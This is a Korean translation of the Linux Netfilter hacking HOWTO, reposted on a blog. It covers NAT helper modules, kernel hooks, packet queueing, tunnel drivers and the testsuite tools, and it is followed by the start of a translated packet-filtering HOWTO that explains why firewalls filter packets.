NAT helper 모듈은 특정 응용프로그램에 적합한 NAT 핸들링을 수행한다. 이 함수는 데이터에 대한 on-the-fly 처리를 포함하고 있다. FTP의 포트 명령을 고려해보자. 이 때, 클라이언트는 서버에게 어떤 IP와 포트로 연결을 해야 하는 가를 물어보게 되고, FTP 제어 연결에서 PORT 명령이 수행된 후 FTP helper 모듈은 IP/port를 교체한다.


TCP를 다루는 경우는 사뭇 복잡해진다. 이유는 패킷 크기가 변하기 때문이다. FTP의 예를 다시 들어보면, PORT 명령이 수행된 후 IP/port tuple을 나타내는 스트링의 길이가 변할 것이다. 결국 패킷 크기가 변경되면, NAT 박스의 좌측과 우측간에 syn/ack의 차이가 발생할 것이다. 예를 들어보면, 패킷을 4 octet만큼 확장했다면, 이후 계속되는 패킷의 TCP sequence number에 앞서 확장시킨 만큼의 offset를 더해야만 한다.


연관된 모든 패킷에 대하여 특별한 NAT 처리가 필요한 경우도 있다. 다시금 FTP를 예로 들어보자. control connection의 PORT명령을 수행하는 클라이언트에 의해 얻어진 IP/port에 대해 DATA connection의 모든 입력 패킷은 정상적인 table lookup을 거치는 것보다는 반드시 NAT되어야만 한다.



  • 연관된 connection을 유발하는 패킷에 대한 callback(foo_help)



  • 연관된 모든 패킷에 대한 callback(foo_nat_expected)







1.4.7.2. 사용가능한 구조체와 함수

여러분이 작성한 nat helper 모듈의 `init()' 함수는 `struct ip_nat_helper'에 대한 포인터를 인자로 하여 `ip_nat_helper_register()' 함수를 호출한다. 인자가 되는 구조체는 다음과 같은 멤버 변수를 포함한다.



list


netfilter에서 내부적으로 사용하는 list 헤더로 { NULL, NULL }로 초기화시킨다.


tuple


`struct ip_conntrack_tuple'로, 우리가 작성한 NAT helper가 관심을 갖는 패킷을 명시한 것이다.


mask


`struct ip_conntrack_tuple'이며, tuple의 어느 비트가 유효한지를 netfilter에게 알려준다.


help


tuple+mask에 부합하는 각 패킷에 대하여 호출해야하는 함수이다.


name


NAT help로 구별이 되는 유일한 name



이상은 connection tracking helper를 작성하는 방법과 완전히 동일하다. 이제 여러분들이 작성한 모듈은 `ip_nat_register()' 함수를 이용하여 예측되는 임의의 connection의 NAT를 처리할 준비가 되어 있다고 말할 수 있다. 이때, `ip_nat_register()' 함수는 `struct ip_nat_expect'를 인자로 취하게 되며, 그 멤버 변수는 다음과 같다.



list


netfilter에서 내부적으로 사용하는 list 헤더로 { NULL, NULL }로 초기화시킨다.


expect


예견된 connection에 대하여 NAT를 수행하는 함수이다. connection을 처리하면 true를 리턴하고, 다음에 등록된 expect 함수가 호출되어 패킷을 처리할 수 있는 지 검사하게 된다. true가 리턴된 경우, 이 함수는 반드시 판결(verdict)을 알려주어야 한다.







1.4.7.3. NAT 도우미 모듈 예제





#define FOO_PORT	111
static int foo_nat_expected(struct sk_buff **pksb,
unsigned int hooknum,
struct ip_conntrack *ct,
struct ip_nat_info *info,
struct ip_conntrack *master,
struct ip_nat_info *masterinfo,
unsigned int *verdict)
/* called whenever a related packet (as specified in the connection tracking
module) arrives
params: pksb packet buffer
hooknum HOOK the call comes from (POST_ROUTING, PRE_ROUTING)
ct information about this (the related) connection
info &ct->nat.info
master information about the master connection
masterinfo &master->nat.info
verdict what to do with the packet if we return 1.
{
/* Check that this was from foo_expect, not ftp_expect, etc */
/* Then just change ip/port of the packet to the masqueraded
values (read from master->tuplehash), to map it the same way,
call ip_nat_setup_info, set *verdict, return 1. */
}
static int foo_help(struct ip_conntrack *ct,
struct ip_nat_info *info,
enum ip_conntrack_info ctinfo,
unsigned int hooknum,
struct sk_buff **pksb)
/* called for the packet causing related packets
params: ct information about tracked connection
info (STATE: related, new, established, ... )
hooknum HOOK the call comes from (POST_ROUTING, PRE_ROUTING)
pksb packet buffer
*/
{
/* extract information about future related packets (you can
share information with the connection tracking's foo_help).
Exchange address/port with masqueraded values, insert tuple
about related packets */
}
static struct ip_nat_expect foo_expect = {
{ NULL, NULL },
foo_nat_expected };
static struct ip_nat_helper hlpr;
static int __init(void)
{
int ret;
if ((ret = ip_nat_expect_register(&foo_expect)) == 0) {
memset(&hlpr, 0, sizeof(struct ip_nat_helper));
hlpr.list = { NULL, NULL };
hlpr.tuple.dst.protonum = IPPROTO_TCP;
hlpr.tuple.dst.u.tcp.port = htons(FOO_PORT);
hlpr.mask.dst.protonum = 0xFFFF;
hlpr.mask.dst.u.tcp.port = 0xFFFF;
hlpr.help = foo_help;
ret = ip_nat_helper_register(hlpr);
if (ret != 0)
ip_nat_expect_unregister(&foo_expect);
}
return ret;
}
static void __exit(void)
{
ip_nat_expect_unregister(&foo_expect);
ip_nat_helper_unregister(&hlpr);
}






1.5. Netfilter의 이해


Netfiler는 상당히 단순하며, 앞 절에서 꽤 상세히 설명하였다. 그러나, 간혹 NAT나 ip_tables 하부 구조가 제공하는 것 이외의 것 또는 여러분들이 전부 바꾸고 싶은 것에 대하여 알아볼 필요가 있다.


미래의 이야기가 되겠지만, netfilter가 지향하고 있는 중요한 쟁점 중 하나는 캐슁이다. 각각의 skb는 `nfcache' 필드를 가지고 있으며, 이는 헤더의 어떤 필드를 검사하고 패킷을 변경할 것인지 말 것인지에 대한 비트 매스크이다. 각각의 훅이 그와 연관된 비트에 대한 netfilter의 OR를 0으로 만드는 것이 아이디어로, 이렇게 함으로써 패킷이 netfilter를 거쳐야 할 이유가 전혀 없다는 것을 알아차릴 수 있는 아주 훌륭한 캐쉬 시스템을 향후 작성할 수 있다.


가장 중요한 비트는 NFC_ALTERD와 NFC_UNKNOWN으로, NFC_ALTERED는 패킷이 변경되었다는 것을 의미하며 이 비트는 변경된 패킷을 다시 라우팅하기 위해 IPv4의 NF_IP_LOCAL_OUT 훅에 대하여 이미 적용되었다. NFC_UNKNOWN은, 표현할 수 없는 어떤 특성이 검출되어 캐슁이 수행되지 않았다는 것을 의미한다. 만일 의심이 가는 경우가 발생하면, 여러분의 훅 내부에 있는 skb의 nfcache 필드에 대해 NFC_UNKNOWN 플랙을 설정하기만 하면 된다.






1.6. 새로운 Netfilter 모듈 작성



1.6.1. Netfilter 훅에 연결하기


커널 내부에서 패킷을 줄이거나 조각내기 위해서는 `nf_register_hook' 함수와 `nf_unregister_hook' 함수를 사용하면 된다. 이들 각각은 다음과 같은 필드를 포함하는 `struct nf_hook_ops'에 대한 포인터를 인자로 취한다.



list


링크드 리스트로 `{ NULL, NULL }'로 설정된다.


hook


패킷이 이 훅 포인트에 걸리면 호출되는 함수로, NF_ACCEPT, NF_DROP 또는 NF_QUEUE 중 하나를 반드시 리턴 해야 한다. NF_ACCEPT인 경우는 현재의 포인터 다음에 오는 훅이 호출된다. NF_DROP인 경우는 패킷이 DROP되고, NF_QUEUE인 경우는 대기열로 들어 간다. skb 포인터에 대한 포인터를 돌려 받아서 원하는 경우에는 skb를 전부 바꾸어 버릴 수도 있다.


flush


현재는 사용하지 않고 있다. 캐쉬가 지워지는 경우 패킷 적중률을 전달하기 위해 설계되었으나, 전혀 구현될 일이 없을 것이다. 그냥 NULL로 설정하기 바란다.


pf


프로토콜 패밀리, 즉 IPv4에 대해서는 `PF_INET'이 된다.


hooknum


관심을 가지고 있는 훅의 수, 즉 `NF_IP_LOCAL_OUT'이다.







1.6.2. 큐된 패킷의 처리


ip_queue에 의해 사용되는 인터페이스로, 주어진 프로토콜에 대하여 대기된 패킷을 처리하기 위해 등록할 수 있다. 패킷을 처리하는 것을 방지할 수 있다는 것만 빼고는 훅을 등록하는 것과 유사한 의미를 가지며, 훅이 `NF_QUEUE'로 응답하는 패킷을 확인만 할 수 있다.


대기된 패킷에 대한 관심을 등록하기 위해 사용하는 두개의 함수는 `nf_register_queue_handle()'과 `nf_unregister_queue_handler()'이다. 여러분이 등록하고자 하는 함수는 `nf_register_queue_handler()' 함수로 전달되는 `void *' 포인터와 함께 호출된다.


프로토콜을 처리하기 위해 등록된 함수가 없는 경우는, NF_QUEUE를 리턴 하는 것은 NF_DROP를 리턴하는 것과 마찬가지가 된다.


대기된 패킷에 대한 관심을 등록했으면, 패킷이 큐잉 되기 시작한다. 이제 큐잉 된 패킷을 가지고 무엇을 하던 그건 여러분들의 맘이지만, 처리가 끝난 경우에는 반드시 `nf_reject()' 함수를 호출해야 한다(단순히 kfree_skb()를 호출해서는 안 된다). skb를 재 도입하는 경우는, 큐잉 된 패킷을 skb, 큐잉 된 패킷에 할당된 `struct nf_info'와 판결(verdict)을 전달한다. 그 이유는, NF_DROP은 패킷을 DROP시킬 것이고, NF_ACCEPT는 훅을 통해 계속 반복되도록 할 것이고, NF_QUEUE는 패킷을 다시 대기 시킬 것이고 NF_REPEAT는 패킷을 대기시킨 훅이 또 다시 검사하도록 만들 것이기 때문이다(이 때, 무한루프에 빠지지 않도록 조심할 것).


`struct nf_info'를 살펴보면, 패킷에 대한 부가적인 정보, 즉 패킷이 존재했던 인터페이스와 훅 같은 것을 얻을 수 있다.






1.6.3. 사용자 공간으로부터 명령어 전달받기


Netfilter의 구성요소들이 사용자공간과 상호작용을 필요로 한다는 것은 아주 당연한 일이다. 방법은 setsockopt 메커니즘을 사용하여 이런 작용을 구현할 수 있다. 여기서 주의할 점은 각 프로토콜이 이해하지 못하는 setsockopt 넘버에 대해 Nf_setsockop()를 호출할 수 있도록 각 프로토콜이 수정되어야만하며, 이는 IPv4까지 이고, IPv6와 DECnet은 이미 변경되어 있다.


최근에 알려진 기술을 사용하면, nf_register_sockopt() 함수를 사용하여 `struct nf_sockopt_ops'를 등록하며, 이 구조체는 다음과 같은 필드로 구성되어 있다.



list


링크드 리스트를 사용하기 위한 것으로, `{ NULL, NULL }'로 설정된다.


get_optmin, get_optmax


처리해야 할 getsockopt의 개수의 범위를 지정한다. 즉 0과 0을 사용하면 처리해야 할 getsockopt의 개수가 없다는 것을 의미한다.


get


사용자들이 여러분들이 작성한 getsockopt 중 하나를 호출한 경우 호출되는 함수이다. 이 함수 내부에서 사용자들이 NET_ADMIN의 권한을 가지고 있는 지 확인해야 한다.


나머지 두개의 필드는 내부적으로 사용된다.







1.7. 사용자 공간에서 패킷 처리


libipq 라이브러리와 `ip_queue' 모듈을 사용하면, 커널에서 할 수 있는 대부분의 것들을 사용자 공간에서 수행할 수 있다. 이것이 다음과 같은 것을 의미한다. 속도에 대한 문제가 발생한다면, 사용자 공간에서 완전히 여러분들만의 코드를 개발할 수 있다. 개발하고자 하는 여러분들이 큰 대역을 필터링 하고자 하지만 않는다면, 커널 내부의 패킷 맹글링에 비해 이 방법이 월등하다는 것을 알게 될 것이다.


netfilter 초창기에, 필자는 iptables의 초기 버전을 포팅 하여 이를 증명하였다. netfilter는, 개발자들이 원하는 언어가 무엇이던 간에, 개발자 자신의 코드와 고효율의 넷맹글링 모듈을 개발하고자 하는 사람들에게 오픈 되어 있다.







2. 커널 2.0/2.2 패킷 필터 모듈 변환


포팅을 아주 쉽게 할 수 있는 단순한 계층에 대해서는 ip_fw_compat.c를 보기 바란다.






3. 터널 코드 개발자를 위한 Netfilter 훅


Tunnel 드라이버 제작자들은 2.4 커널에 대해서는 다음에 보이는 단순한 두개의 규칙을 따르기 바란다.



  • 패킷을 인식할 수 없도록 하려면 skb->nfct를 릴리즈 해야한다(즉, decapsulating/encapsulating). 만일 패킷을 *new* skb로 감싸지 않으려면 릴리즈를 하지 않아도 되지만, 적절한 곳에서 수행하고자 한다면, 반드시 릴리즈 해야 한다.


    그렇지 않은 경우는, NAT 코드는 패킷을 맹글하기 위해 과거의 connection tracking 정보를 이용할 것이고, 이로 인해 순서가 엉망이 될 것이다.



  • encapsulated 패킷은 반드시 LOCAL_OUT 훅을 통과하도록 해야하며, decapsulated 패킷은 PRE_ROUTING 훅을 통과해야만 한다. 이를 수행하기 위해 대부분의 tunnel은 ip_rcv()를 사용한다.


    그렇지 않은 경우는, 사용자들이 tunnel을 이용하여 원하는 대로 필터링할 수 없을 것이다.



첫 번째를 수행하는 표준 방법은 패킷을 wrap하거나 unwrap하기 전에 다음과 유사한 코드를 삽입하는 것이다.





	/* Tell the netfilter framework that this packet is not the
same as the one before! */
#ifdef CONFIG_NETFILTER
nf_conntrack_put(skb->nfct);
skb->nfct = NULL;
#ifdef CONFIG_NETFILTER_DEBUG
skb->nf_debug = 0;
#endif
#endif


두 번째를 수행하기 위해 필요로 하는 것은 새로이 encapsulated된 패킷이 ``ip_send()''로 들어가는 위치를 찾아내고, 이를 다음과 같은 것으로 대체하는 것이다.





	/* Send "new" packet from local host */
NF_HOOK(PF_INET, NF_IP_LOCAL_OUT, skb, NULL, rt->u.dst.dev, ip_send);


다음에 보인 룰이 의미하는 것은 tunnel 박스에 패킷 필터링 룰을 적용하고자 하는 사람이 tunnel 되고 있는 패킷에 대해 다음과 같은 절차를 보게 될 것이다.



  1. FORWARD hook : normal packet (from eth0 -> tunl0)



  2. LOCAL_OUT hook : encapsulated packet (to eth1)

응답 패킷에 대해서는



  1. LOCAL_IN hook: encapsulated reply packet (from eth1)



  2. FORWARD hook: reply packet (from eth1 -> eth0).







4. 시험도구(Test Suite)


test suite는 CVS 저장소에 있으며, test suite가 적용되는 범위가 넓을 수록, 여러분의 코드가 오동작을 하는 경우가 거의 없을 수 있다는 자신감은 더 커지게 된다. 사소한 테스트(trivial test)는 상당히 어려운 테스트(tricky test) 만큼이나 중요하며, 이는 복잡한 시험을 단순화한 것이 사소한 테스트이기 때문이다. 일단 복잡한 테스트를 수행하기 전에 기본적인 작업은 만족한다는 것을 알 수 있기 때문이다.


테스트는 단순하며, 그저 testsuite/의 서브디렉토리에 있는 쉘스크립트이다. 실행되는 순서는 알파벳 순서다. 따라서 `01test'가 `02test'보다 먼저 실행된다. 현재는 다섯 개의 테스트 디렉토리가 있다.



00netfilter/


General netfilter framework tests.


01iptables/


iptables tests.


02conntrack/


connection tracking test.


03NAT/


NAT tests.


04ipchains-compat/


ipchains/ipfwadm compatibility tests.

testsuite/ 디렉토리 내부에는 `test.sh'라는 쉘 스크립트가 존재하며, 두개의 더미 인터페이스(tap0와 tap1)를 구성하여, forwarding을 on 시키고, 모든 netfilter 모듈을 제거하는 역할을 한다. 그리고 나서 하위 디렉토리에 존재하는 모든 쉘 스크립트를 수행하는 데 이중 하나라도 오류가 발생하면 수행을 멈추게 된다. `test.sh'는 두개의 옵션을 넘겨받을 수 있는 데, `-v'는 수행하는 각각의 테스트를 출력하며, 추가적인 test 이름이 주어지면 해당하는 테스트가 발견될 때까지 다른 테스트는 모두 건너뛰게 된다.





4.1. 테스트를 위한 스크립트 작성


우선 적당한 디렉토리에 새로운 파일을 생성하고, 적절한 시기에 실행할 수 있도록 번호를 부여한다. 예를 들어보면, ICMP reply tracking (02conntrack/02reply.sh)을 테스트하기 위해서는 외부로 나가는 ICMP가 적절하게 추적되고 있는 지를 먼저 확인해야한다(02conntrack/01simple.sh).


작은 크기의 파일을 많이 만들어서, 각각의 파일은 한 가지 분야만 담당하도록 하는 것이 좋을 것이며, 그 이유는 testsuite를 실행시킨 사람들이 문제를 즉각 알아 낼 수 있도록 할 수 있기 때문이다.


테스트 도중 문제가 발생하면, 그냥 `exit 1'을 하면 되고, 그러면 failure가 발생한다. 즉, 여러분들이 문제가 발생한 것을 감지할 수 있게 되면, 적절한 메시지를 출력하는 것이 좋다. 문제가 발생하지 않았다면, `exit 0'로 종료하면 된다. 스크립트의 최상위에서 `set -e'를 사용하거나, 각 명령의 마지막에 `|| exit 1'을 추가하여 각 명령의 성공여부를 확인해야 한다.


helper 함수인 `load_module'와 `remove_module'는 모듈을 올리거나 내리는 데 사용할 수 있는 데, 특별히 테스트라고 지정하지 않는 한 testsuite에서는 autoloading을 지원하지 않는다.






4.2. 변수와 환경


일단 tap0와 tap1이라는 두개의 인터페이스를 가지고 있다. 각 인터페이스의 주소는 $TAP0와 $TAP1이라는 변수에 저장되어 있으며, 넷매스크는 모두 255.255.255.0이다. network은 $TAP0NET과 $TAP1NET에 저장되어 있다.


$TMPFILE은 임시파일로, 테스트가 종료되는 시점에서 삭제된다.


여러분의 스크립트는 testsuite/ 디렉토리부터 시작해서, 스크립트가 존재하는 모든 디렉토리를 찾아가게 된다. 즉 여러분들은 iptables같은 도구를 실행시키기 위해서는 `../userspace'로 시작하는 path를 사용해야 한다.


$VERBOSE를 설정해 놓으면 여러분의 스크립트는 보다 많은 정보를 출력하게된다. 즉, command line에서 `-v' 옵션을 준 것과 동일한 효과가 된다.






4.3. 유용한 도구들


``tools'' 디렉토리에는 쓸만한 testsuite 도구가 몇 개 있으며, 각 도구는 문제가 발생한 경우 non-zero exit status를 발생시키며 종료한다.






4.3.1. gen_ip


IP 패킷을 생성하는 함수로, IP 패킷을 표준 입력으로 출력한다. 여러분들은 표준 출력을 /dev/tap0와 /dev/tap1으로 전송하여 tap0와 tap1에 패킷을 보낼 수 있다. (/dev/tap0와 /dev/tap1이 존재하지 않으면 testsuite가 최초 실행 될 때 생성된다.)



FRAG=offset,length


패킷을 생성하고, offset과 length 만큼 패킷을 조각 낸다.


MF


패킷의 `More Fragments' 비트를 설정한다.


MAC=xx:xx:xx:xx:xx:xx


패킷에 소스 MAC 주소를 설정한다.


TOS=tos


패킷에 대하여 TOS 필드를 설정한다. 0-255.



다음은 강제 옵션이다.



source ip


패킷의 소스 IP 주소


dest ip


패킷의 목적지 주소


length


헤더를 포함한 패킷의 길이


protocol


패킷의 프로토콜 번호, (예: 17 = UDP)

각 전달인자는 프로토콜에 따라 달라진다. UDP(17)인 경우 소스와 목적지 포트 번호가 된다. ICMP(1)인 경우는 ICMP 메시지의 코드가 된다. 타입이 0 또는 8(ping-reply 또는 ping)인 경우는, 두개의 인자로 ID와 sequence 필드가 더 필요하다. TCP인 경우는 소스와 목적지 포트 그리고 플랙(``SYN'', ``SYN/ACK'', ``ACK'', ``RST'' 또는 ``FIN'')이 필요하다. 세개의 추가 옵션이 있는 데, ``OPT='' 다음에는 컴마로 분리된 옵션들이 오고, ``SYN='' 다음에는 시퀀스 번호, ``ACK='' 다음에도 시퀀스 번호가 호다. 마지막으로, ``DATA=''이라는 추가 옵션은 표준입력의 내용을 가득 채운 TCP 패킷의 부하를 의미한다.





4.3.2. rcv_ip


`rcv_ip'를 사용하면 IP 패킷을 볼 수 있으며, 가능한 get_ip로 들어오는 원래의 값에 가깝게 명령 행에 출력한다.(fragments는 제외)


이 함수는 패킷을 분석하는 데 매우 유용하며, 다음과 같은 강제 옵션이 두개 있다.



wait time


표준입력으로부터 패킷을 기다리는 최대 시간으로 초단위로 표시된다.


iterations


수신하고자 하는 패킷의 수

``DATA''라는 추가 옵션이 있으며, 패킷 헤더 다음에 패킷의 부하를 표준출력으로 출력한다.

다음 스크립트는 `rcv_ip'를 사용하는 표준을 보인 것이다.





# Set up job control, so we can use & in shell scripts.
set -m
# Wait two seconds for one packet from tap0
../tools/rcv_ip 2 1 < /dev/tap0 > $TMPFILE &
# Make sure that rcv_ip has started running.
sleep 1
# Send a ping packet
../tools/gen_ip $TAP1NET.2 $TAP0NET.2 100 1 8 0 55 57 > /dev/tap1 || exit 1
# Wait for rcv_ip,
if wait %../tools/rcv_ip; then :
else
echo rcv_ip failed:
cat $TMPFILE
exit 1
fi






4.3.3. get_err


표준입력으로부터 패킷(예를 들면, gen_ip로 생성된 패킷)을 취하고, ICMP 에러로 변환시킨다.


세개의 전달인자로 소스 IP 주소, 타입과 코드를 받는다. 목적지 입력은 표준입력으로부터 받은 소스 IP 주소로 설정된다.






4.3.4. local_ip


표준입력으로부터 패킷을 얻어서 raw 소켓으로 전달한다. 로컬에서 생성된 패킷의 모양을 보여준다(ethertap 장치 중 하나로 입력된 패킷으로부터 분리하는 경우, 외부에서 생성된 패킷처럼 보인다).






4.4. 생각나는 대로 하는 충고


모든 도구는 읽고 쓰기를 한번 할 때 모든 것을 할 수 있다고 가정한다. 즉 ethertap 장치에 대해서는 사실이지만, pipe를 이용하여 약간 복잡한 작업을 할 때는 반드시 옳다고 말할 수는 없다.


패킷을 자르기 위해서 dd를 사용할 수 있다. dd는 일회성 작업으로 패킷을 출력하기 위해 사용할 수 있는 obs(output block size)라는 옵션이 있다.


첫 번째에 성공하도록 테스트하는 것이 좋다. 즉, 패킷이 성공적으로 블럭 되도록 테스트해야 한다. 처음에는 패킷이 정상적으로 통과하도록 테스트를 하고 나서, 일부 패킷이 블럭 되도록 테스트해야 한다. 그렇지 않으면, 엉뚱한 오류로 인해 패킷이 진행하는 것을 중지시킬 수 도 있다.


아무거나 막 보내고 나서 어떤 결과가 일어나는 확인하지 말고, 정확한 테스트를 할 수 있도록 해야한다. 정확한 테스트가 잘 못된 경우라면, 무엇이 잘 못 되었는지 알 수 있지만, 랜덤 테스트가 잘못 되면 전혀 도움이 되지 않는다.


아무런 메시지도 남기지 않고 테스트가 실패한 경우, 어떤 명령이 실행되고 있는지 알아보기 위해 스크립트의 맨 위에 `-x'를 추가 할 수 있다. 즉, `#!/bin/sh -x'.


테스트가 불규칙적으로 실패하면, 모든 외부 장치를 차단하거나 하는 식으로, 랜덤 네트웍 트래픽에 대하여 확인해 보는 것이 좋다. 예를 들면,Andrew Tridgell처럼 동일한 네트웍 상에 있으면, 윈도우의 브로드 캐스팅에 의해 수많은 간섭을 받게 된다.






5. 개발 동기


필자가 ipchains를 개발하고 나서, 시드니의 중국식당 입구에 들어서려는 순간 불현듯 머리는 스치는 생각에 패킷 필터링이 엉뚱한 곳에서 이루어 지고 있다는 사실을 깨달았다. 지금은 어디인지 찾을 수 없지만, 한가지 기억하는 것은 Alan Cox에게 메일을 보냈고, 친절하게도 그는 `처음엔 아무리 당신이 옳았다고 할지라도 한일을 끝내는 것이 어떤가요?'라는 답장을 보냈다. 이 짧은 말 한마다에서 실용주의가 정도를 이겨버렸다.


최초에는 ipfwadm의 커널 파트의 마이너 수정이었지만 결국에는 많은 부분을 다시 작성하여 ipchains를 마무리짓고 HOWTO를 쓰고 나서야, 패킷 필터링, 매스커레이딩, 포트포워딩과 유상한 여러 이슈에 대하여 리눅스 커뮤니티에서 많은 혼란이 있었다는 것을 알게 되었다.


이런 것들이 바로 여러분들의 도움으로부터 얻는 즐거움이다. 여러분들은 사용자들이 무엇을 하려고 하고, 또 무엇을 가지고 논쟁하는 지 보다 가까이서 느낄 수 있다. 프리소프트웨어라는 것은 많은 사용자들이 사용하고 있을 때 가치가 있고, 보다 쉽게 만들 수 있다는 것을 의미한다. 문서가 아닌 구조(architecture)가 최대 결함이었다.


그래서 필자는 ipchains 코드를 가지고 사람들이 하려고 했던 아이디어와 경험을 얻었다. 문제는 단지 둘 뿐이었다.


첫 번째로, 필자는 보안 쪽으로 다시 돌아가고 싶지 않았다. 보안 컨설턴트가 된다는 것은 여러분의 양심과 부의 사이에 있는 영원한 도덕적인 전쟁이다. 기본적인 수준에서, 여러분들은 실제 보안이 아닌 보안에 대한 분위기를 팔고 있는 것이다. 보안을 이해하고 있는 군대에서 군사용으로 작업을 하더라고, 다를 바는 없다.


두 번째 문제는 새로운 사용자들은 관심 밖의 문제였다. 큰 회사와 ISP들이 앞다퉈 이 물건을 사용하고 있다. 내가 필요한 것은, 물론 그들이 내일의 홈유저의 규모가 될 수도 있지만, 이런 류의 사용자들 부터의 신뢰를 받는 것이었다.


WatchGuard에 대한 노출이 내게 필요한 대규모의 클라이언트의 노출을 가져다 주었고, 그들로부터 독립하고자 하는 것이 모든 사용자들에게 동일하게 지원되도록 하였다.


그래서 필자는 쉽게 작성된 netfilter를 가질 수 있었고, 최상위에 ipchains를 포팅 하여, 이를 가지고 모든 것을 해냈다. 불행하게도 커널에서 모든 매스커레이딩 코드가 사라져 버렸다. 즉, 필터링으로부터 매스커레이딩을 독립시키고자 하는 것이 패킷 필터링으로 이동하게된 주된 이유이지만, 그렇게 함으로써 매스커레이딩 역시 netfilter 프레임 웍으로 이동할 필요가 있었다.


ipfwadm의 `interface-address'(ipchains에서 필자가 삭제한 것 중 하나)의 특성에 대한 나의 경험으로 배운 것은, 단순히 매스커레이딩 코드를 분리하고 나를 대신하여 netfilter에 포팅해 줄 사람을 기다리는 것은 아무런 희망이 없다는 것이다.


그래서 필자는 최소한 현재 코드만큼 많은 특성을 확보할 필요가 있었다. 초기에 도입한 niche users를 북돋기 위해, 정확히 말하면 조금 더 필요했다. 이는 투명한 프락시, 매스커레이딩과 포트 포워딩을 대체한다는 것을 의미한다. 바꿔 말하면, 완벽한 NAT 계층이 되는 것이다.


일반적인 NAT 시스템을 작성하는 대신, 기존의 매스커레이딩 계층을 포팅하기로 결정했었지만, 매스커레이딩은 연륜과 유지보수의 부재가 문제시되었다. 그러니까 매스커레이딩 메인터너가 없다는 이야기다. 순수한 사용자들은 매스커레이딩을 사용하지 않고, 유지보수 작업을 하려고 하는 홈 유저들도 많지 않다. Juan Ciarlante 같이 용감한 사람들이 버그를 고쳤지만, 결국 다시 작성해야 하는 수준에 이르게 되었다.


필자는 NAT를 다시 작성한 사람이 아니라는 것을 알아주기 바란다. 즉 필자는 더 이상 매스커레이딩을 사용하지 않고, 당시 기존의 코드를 살펴보지도 않았다. 아마도 이것이 내가 생각한 것보다 많은 시간이 소요된 이유일 것이다. 하지만 필자의 견해로는 결과는 꽤 좋았고, 많은 것을 배울 수 있었다. 얼마나 많은 사람들이 사용하고 있는 지 알게 되면, 두 번째 버전은 훨씬 더 좋아 질 것이라는 점은 믿어 의심치 않는다.






6. 감사의 말


도와주신 모든 분들에게 감사 드리며, 특히 protocol helpers를 작성해 주신 Harald Welte에게 감사 드립니다.

출처 - http://wiki.kldp.org/wiki.php/DocbookSgml/Netfilter-hacking-TRANS

2009/06/07 21:57 2009/06/07 21:57
샤이 이 작성.

당신의 의견을 작성해 주세요.

1. 소개


여러분 환영합니다.


이 문서는 여러분이 IP address, network address, netmask, routing, DNS 가 무었인지 알고 있다고 가정합니다. 그렇지 않다면 '네트워크 개념 하우투' 를 읽기를 권유합니다.


이 하우투는 상냥한 소개(이게 여러분을 열받게 하고 지금은 흐리멍텅하고 그러나 무방비인)와 가공되지않은 완전 노출(which would leave all but the hardiest souls confused, paranoid and seeking heavy weaponry)사이를 넘 나들 것이다.


여러분의 네트워크는 안전하지 않다. 빠르고, 편안하면서 그 사용이 좋은 쪽으로만 하도록하고 악한 시도를 허락하지 않도록 하려는 것은 복잡한 영 화관에서 자유로운 대화는 허락하면서 "불이야"하고 외치는 것은 불허하는 것처럼 거의 해결불능의 문제와 같다. 이것에대한 해답은 이 하우투에서 구할 수 없을 것이다.


여러분이 할 수있는 것은 그 절충점을 결정하는 일이다. 나는 이러한 목적 으로 사용할 수 있는 몇몇 도구와 경계하여야할 약점에 대하여 여러분이 좋은 목적으로 사용하고 악의있는 목적으로 사용하지 않기를 바라며, 알려 주려고 한다. 또다른 어려운 문제이다.








2. 웹사이트와 리스트가 어디에 있나 ?


세개의 웹사이트가 있다.



netfilter의 메일링 리스트를 위해서는 삼바의 리스트 서버를 보라.








3. 그렇다면, 패킷 필터란 무었일까?


패킷필터는 지나가는 패킷의 해더를 살펴보고 그 전체 패킷의 운명을 결정하는 소프트웨어의 일부이다. 이것은 패킷을 'DROP'(즉, 마치 전혀 전달되지도 못 했던것 처럼 패킷을 거부) 하던가, 'ACCEPT'(즉, 패킷이 지나가도록 내버려 둠) 하던가 또는 다른 더욱 복잡한 무엇을 할 것인가를 결정할 것이다.


리눅스에서 패킷 필터링은 커널 내부에 구성되고(커널의 모듈로서 또는 그 내부에 포함 되는 형태이다), 우리가 패킷으로 해야할 몇몇 복잡한 것이 있다. 그러나, 그 패킷의 헤더를 관찰하고 그 패킷의 운명을 결정하는 기본 원칙은 여전히 적용 된다.



3.1 왜 우리는 패킷을 필터할려고 하나 ?


제어, 보안, 관찰가능성



제어:

여러분이 내부 네트워크에서 다른 네트워크로 리눅스 박스를 이용하여 접속을 하고자 할때(소위, 인터넷) 여러분은 어떤형태의 전송은 가능하게 하고 다른것은 불가능하게 할 기회를 가진다. 예를 들어, 패킷 헤더에는 목적지의 주소를 포함하고 있고 이것으로 패킷이 바깥 네트워그의 다른곳 으로 가지 않도록 한다. 다른 예로, 나는 Dilbert archives를 호출하기 위하여 넷스케잎을 이용한다. 그곳의 웹페이지에는 doubleclick.net으로 부터의 광고가 있고 넷스케잎은 그 광고를 받기위하여 나의 시간을 소비한 다. doubleclick.net의 주소로 가거나 또는 그곳에서 오는 어떠한 패킷도 허락하지 않도록 패킷필터에게 이야기 해 놓음으로 이 문제를 해결할 수 있다. (이렇게 하는 더 좋은 방법도 있다 : Junkbuster를 보세요)


보안:

여러분의 멋지고, 잘 정돈된 네트워크와 인터넷의 혼돈사이에 리눅스 박스 만이 있다면, 여러분의 네트워크로 들어오려는 것을 억제할 수 있다는 것은 근사한 일이다. 예를들어, 여러분은 여러분의 네트워크로부터 나가는 모든 것을 허용하고 싶지만, 반면에 밖으로부터 들어오는, "죽음의 핑"같은, 악의 있는 것에 대하여는 것정이 될 것이다. 다른 예로, 아무리 여러분 리눅스 박스의 모든 계정사용자가 암호를 가지고 있다고 하더도 바깥으로부터의 텔넷시도는 바라지 않을 것이다. 대부분의 사람들처럼 인터넷에서 구경꾼 이 되고 싶고 제공자는 되고싶지 않을 것이다. 간단히 말해서, 접속중에 모든 들어오려는 패킷을 패킷 필터를 이용하거 거부할려고 할 것이다.


관찰가능성:

가끔 잘못 설정된 지역네트워크는 패킷을 바깥세상으로 토해놓는다. 패킷 필터에게 어떠한 이상한 일이라도 일어나면 여러분에게 알려 주도록 말해 두는 것은 근사한 일이다. 여러분은 이런 일에대하여 무엇인가를 할 수도 있고 그냥 '이상한 일이네'하고 넘길 수도 있다.



3.2 리눅스에서 패킷 필터는 어떻게 하나 ?


